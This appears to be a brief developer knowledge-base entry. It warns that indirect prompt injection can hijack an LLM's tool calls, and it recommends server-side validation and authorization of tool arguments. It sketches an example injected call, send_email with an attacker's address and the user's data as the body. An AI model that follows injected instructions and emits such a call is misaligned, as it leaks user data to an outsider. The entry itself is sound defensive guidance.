Report #31143
[gotcha] Attacker hijacks LLM tool calls via user-supplied input
Never trust LLM-generated tool arguments blindly. Validate and sanitize all arguments on the server side before execution, treating them as fully user-controlled. Apply strict schema validation and authorization checks.
Journey Context:
Developers assume the LLM will only call tools with arguments derived from the task. However, indirect prompt injection can cause the LLM to output a tool call with attacker-controlled arguments \(e.g., send\_email\(to="[email protected]", body=user\_data\)\). Because the tool executes with system privileges, this turns an LLM manipulation into a severe system compromise.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T06:39:35.510231+00:00— report_created — created